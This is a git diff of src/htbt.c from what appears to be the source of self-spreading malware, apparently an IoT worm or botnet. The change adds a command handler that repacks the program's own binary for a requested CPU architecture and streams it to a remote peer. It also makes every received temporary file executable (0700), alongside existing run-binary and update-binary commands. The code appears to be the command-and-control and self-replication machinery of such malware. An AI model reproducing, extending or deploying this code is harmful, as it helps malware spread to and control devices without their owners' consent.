aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/htbt.c')
-rw-r--r--src/htbt.c220
1 files changed, 213 insertions, 7 deletions
diff --git a/src/htbt.c b/src/htbt.c
index bf4f32b..e059066 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -75,6 +75,7 @@ typedef struct {
void (*lm_release_f)(void *ioctx, const htbt_lmk_t v);
const prne_htbt_cbset_t *cbset;
void *cb_ctx;
+ const prne_rcb_param_t *rcb;
size_t skip;
prne_iobuf_t iobuf[2];
prne_pth_cv_t cv;
@@ -1162,7 +1163,6 @@ static bool htbt_slv_srv_bin (
prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK;
int32_t ret_errno = 0;
htbt_lmk_t lmk = HTBT_LMK_NONE;
- mode_t tmpfm;
prne_dbgast(
mh->op == PRNE_HTBT_OP_RUN_BIN ||
@@ -1208,12 +1208,7 @@ static bool htbt_slv_srv_bin (
}
errno = 0;
- switch (mh->op) {
- case PRNE_HTBT_OP_RUN_BIN:
- case PRNE_HTBT_OP_UP_BIN: tmpfm = 0700; break;
- default: tmpfm = 0600;
- }
- path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, tmpfm);
+ path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, 0700);
if (path == NULL) {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_errno = errno;
@@ -1410,6 +1405,212 @@ END:
return ret;
}
+static void htbt_slv_set_pack_err (
+ prne_pack_rc_t prc,
+ const int ierr,
+ prne_htbt_status_code_t *ost,
+ int32_t *oerr)
+{
+ switch (prc) {
+ case PRNE_PACK_RC_OK:
+ case PRNE_PACK_RC_EOF:
+ case PRNE_PACK_RC_INVAL:
+ case PRNE_PACK_RC_FMT_ERR:
+ case PRNE_PACK_RC_NO_ARCH:
+ *ost = PRNE_HTBT_STATUS_SUB;
+ *oerr = prc;
+ break;
+ case PRNE_PACK_RC_ERRNO:
+ *ost = PRNE_HTBT_STATUS_ERRNO;
+ *oerr = ierr;
+ break;
+ case PRNE_PACK_RC_Z_ERR:
+ *ost = PRNE_HTBT_STATUS_SUB;
+ *oerr = (int32_t)ierr << 8 | (int32_t)prc;
+ break;
+ default:
+ *ost = PRNE_HTBT_STATUS_UNIMPL;
+ *oerr = 0;
+ }
+}
+
+static bool htbt_slv_srv_rcb (
+ htbt_slv_ctx_t *ctx,
+ pth_event_t root_ev,
+ size_t off,
+ const prne_htbt_msg_head_t *org_mh)
+{
+ bool ret = true;
+ prne_htbt_rcb_t rcb_f;
+ prne_htbt_ser_rc_t s_ret;
+ size_t actual;
+ prne_htbt_status_code_t status = PRNE_HTBT_STATUS_OK;
+ int32_t err = 0;
+ prne_pack_rc_t prc;
+ prne_bin_rcb_ctx_t rcb_ctx;
+ prne_iobuf_t rcb_ib;
+ pth_event_t ev = NULL;
+ prne_arch_t started_arch;
+ ssize_t io_ret;
+ int rcb_err = 0;
+ prne_htbt_stdio_t data_f;
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_rcb(&rcb_f);
+ prne_htbt_init_stdio(&data_f);
+ prne_init_bin_rcb_ctx(&rcb_ctx);
+ prne_init_iobuf(&rcb_ib);
+// TRY
+ s_ret = prne_htbt_dser_rcb(
+ ctx->iobuf[0].m + off,
+ ctx->iobuf[0].len - off,
+ &actual,
+ &rcb_f);
+ if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) {
+ ret = false;
+ goto END;
+ }
+ else {
+ off += actual;
+ prne_iobuf_shift(ctx->iobuf + 0, -off);
+ }
+ if (s_ret != PRNE_HTBT_SER_RC_OK) {
+ htbt_slv_raise_protoerr(ctx, org_mh->id, 0);
+ goto END;
+ }
+
+ if (ctx->rcb == NULL) {
+ status = PRNE_HTBT_STATUS_ERRNO;
+ err = ENOMEDIUM;
+ goto STATUS_END;
+ }
+ if (!(prne_alloc_iobuf(&rcb_ib, PRNE_HTBT_STDIO_LEN_MAX) ||
+ prne_alloc_iobuf(&rcb_ib, 512)))
+ {
+ status = PRNE_HTBT_STATUS_ERRNO;
+ err = errno;
+ goto STATUS_END;
+ }
+
+ if (rcb_f.arch == PRNE_ARCH_NONE) {
+ rcb_f.arch = ctx->rcb->self;
+ }
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ HTBT_NT_SLV"@%"PRIuPTR": starting rcb self=%02X target=%02X\n",
+ (uintptr_t)ctx,
+ ctx->rcb->self,
+ rcb_f.arch);
+ }
+ prc = prne_start_bin_rcb_compat(
+ &rcb_ctx,
+ rcb_f.arch,
+ ctx->rcb->self,
+ ctx->rcb->m_self,
+ ctx->rcb->self_len,
+ ctx->rcb->exec_len,
+ ctx->rcb->m_dv,
+ ctx->rcb->dv_len,
+ ctx->rcb->ba,
+ &started_arch);
+ if (prc != PRNE_PACK_RC_OK) {
+ htbt_slv_set_pack_err(prc, errno, &status, &err);
+ goto STATUS_END;
+ }
+ if (!rcb_f.compat &&
+ rcb_f.arch != PRNE_ARCH_NONE &&
+ rcb_f.arch != started_arch)
+ {
+ htbt_slv_set_pack_err(PRNE_PACK_RC_NO_ARCH, 0, &status, &err);
+ goto STATUS_END;
+ }
+
+ mh.id = org_mh->id;
+ mh.is_rsp = true;
+ mh.op = PRNE_HTBT_OP_STDIO;
+ while (rcb_ib.len > 0 || prc != PRNE_PACK_RC_EOF) {
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ if (rcb_ib.avail > 0 && prc != PRNE_PACK_RC_EOF) {
+ io_ret = prne_bin_rcb_read(
+ &rcb_ctx,
+ rcb_ib.m + rcb_ib.len,
+ rcb_ib.avail,
+ &prc,
+ &rcb_err);
+ if (io_ret < 0) {
+ htbt_slv_set_pack_err(prc, rcb_err, &status, &err);
+ goto STATUS_END;
+ }
+ prne_iobuf_shift(&rcb_ib, io_ret);
+ }
+ if (rcb_ib.len > 0) {
+ data_f.len = rcb_ib.len;
+ htbt_slv_fab_frame(
+ ctx,
+ &mh,
+ &data_f,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ ev);
+ do {
+ io_ret = prne_op_min(ctx->iobuf[1].avail, rcb_ib.len);
+ memcpy(ctx->iobuf[1].m + ctx->iobuf[1].len, rcb_ib.m, io_ret);
+ prne_iobuf_shift(ctx->iobuf + 1, io_ret);
+ prne_iobuf_shift(&rcb_ib, -io_ret);
+
+ htbt_slv_consume_outbuf(ctx, 0, ev);
+ if (!ctx->valid) {
+ goto END;
+ }
+ } while (rcb_ib.len > 0);
+ }
+
+ pth_yield(NULL);
+ }
+
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ data_f.fin = true;
+ data_f.len = 0;
+ htbt_slv_fab_frame(
+ ctx,
+ &mh,
+ &data_f,
+ (prne_htbt_ser_ft)prne_htbt_ser_stdio,
+ ev);
+
+STATUS_END:
+ if (status != PRNE_HTBT_STATUS_OK) {
+ htbt_slv_fab_status(
+ ctx,
+ status,
+ err,
+ org_mh->id,
+ root_ev);
+ if (status == PRNE_HTBT_STATUS_OK) {
+ htbt_slv_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev);
+ ctx->valid = false;
+ }
+ }
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_free_iobuf(&rcb_ib);
+ prne_htbt_free_rcb(&rcb_f);
+ prne_htbt_free_stdio(&data_f);
+ prne_free_bin_rcb_ctx(&rcb_ctx);
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
static void htbt_slv_skip_inbuf (htbt_slv_ctx_t *ctx) {
size_t consume;
@@ -1489,6 +1690,9 @@ static bool htbt_slv_consume_inbuf (
case PRNE_HTBT_OP_HOVER:
ret |= htbt_slv_srv_hover(ctx, root_ev, actual, &f_head);
break;
+ case PRNE_HTBT_OP_RCB:
+ ret |= htbt_slv_srv_rcb(ctx, root_ev, actual, &f_head);
+ break;
default:
htbt_slv_raise_protoerr(ctx, f_head.id, PRNE_HTBT_STATUS_UNIMPL);
goto END;
@@ -1924,6 +2128,7 @@ static void htbt_main_srv_hover (
c.slv.lm_acquire_f = htbt_main_slv_lm_acq_f;
c.slv.lm_release_f = htbt_main_slv_lm_rel_f;
c.slv.cbset = &ctx->param.cb_f;
+ c.slv.rcb = ctx->param.rcb;
c.slv.cb_ctx = ctx->param.cb_ctx;
c.slv.cv.lock = &ctx->lock;
c.slv.cv.cond = &ctx->cond;
@@ -2621,6 +2826,7 @@ static bool htbt_alloc_lbd_client (
c->slv.lm_acquire_f = htbt_lbd_slv_lm_acq_f;
c->slv.lm_release_f = htbt_lbd_slv_lm_rel_f;
c->slv.cbset = &parent->param.cb_f;
+ c->slv.rcb = parent->param.rcb;
c->slv.cb_ctx = parent->param.cb_ctx;
c->slv.cv.lock = &parent->lock;
c->slv.cv.cond = &parent->cond;